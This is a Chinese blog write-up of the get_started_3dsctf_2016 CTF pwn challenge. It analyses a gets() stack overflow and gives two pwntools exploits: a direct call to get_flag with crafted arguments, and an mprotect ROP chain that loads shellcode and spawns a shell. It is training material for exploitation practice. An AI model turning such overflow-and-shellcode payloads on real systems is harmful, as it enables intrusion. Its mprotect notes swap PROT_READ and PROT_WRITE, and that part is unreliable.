get_started_3dsctf_2016

先进入到题目环境里,程序接收用户输入,然后返回一串字符
在这里插入图片描述
checksec查看一下保护,只开启了NX,堆栈不可执行保护
在这里插入图片描述
用IDA分析程序,这一段程序很简短,gets函数存在溢出
在这里插入图片描述
发现了一个名为get_flag的函数
在这里插入图片描述
通过这个函数传入参数,且满足条件(a1 == 814536271 && a2 == 425138641)即可读取到flag
思路就是main函数溢出到返回地址的时候直接溢出到if条件判断里面,即使栈空间被破坏了,但是无所谓,已经输出flag了
这里可以用本地调试判断偏移量
在这里插入图片描述
在这里插入图片描述
从输入位到覆盖掉ebp的偏移量为56(平时都是直接看ida的偏移,但是有时可能会出问题)
在这里插入图片描述
判断调用这个函数时候的参数,那么我们可以不可以将返回地址溢出成带参数的呢?

答案是可以的,大概就是这么布局:‘a’*offset + ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2
C语言有个函数是exit,只要执行这个只要我们把get_flag的返回地址写成exit的地址,程序就可以结束并且有回显了。
在这里插入图片描述

from pwn import *
#q = remote('node3.buuoj.cn',29645)
q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
sleep(0.1)

payload = 'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
sleep(0.1)
q.recv()

方法二:
在这里插入图片描述

有这么一个函数,mprotect,我们先来学习一下。

int mprotect(const void *start, size_t len, int prot);

第一个参数填的是一个地址,是指需要进行操作的地址。

第二个参数是地址往后多大的长度。

第三个参数的是要赋予的权限。

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

嗯。。。还是上面这一句话讲的明白…

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

prot=7 是可读可写可执行 #这个是个知识点。。。我是没找到出处,我唯一能想到的就是师傅在调试的过程发现第三个参数等于7是赋给的内存地址权限是可读可写可执行叭。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
  在这里插入图片描述从这里找个地址就可以,我这里取0x80ea00这个地址,大小为0x1000

from pwn import *
q = remote('node3.buuoj.cn',29645)
#q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'

mprotect = 0x0806EC80
buf = 0x80ea000
pop_3_ret = 0x0804f460
read_addr = 0x0806E140

payload = 'a'*56
payload += p32(mprotect)
payload += p32(pop_3_ret)
payload += p32(buf)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(read_addr)
payload += p32(buf)
payload += p32(0)
payload += p32(buf)
payload += p32(0x100)
q.sendline(payload)
sleep(0.1)

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
q.sendline(shellcode)
sleep(0.1)
q.interactive()
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值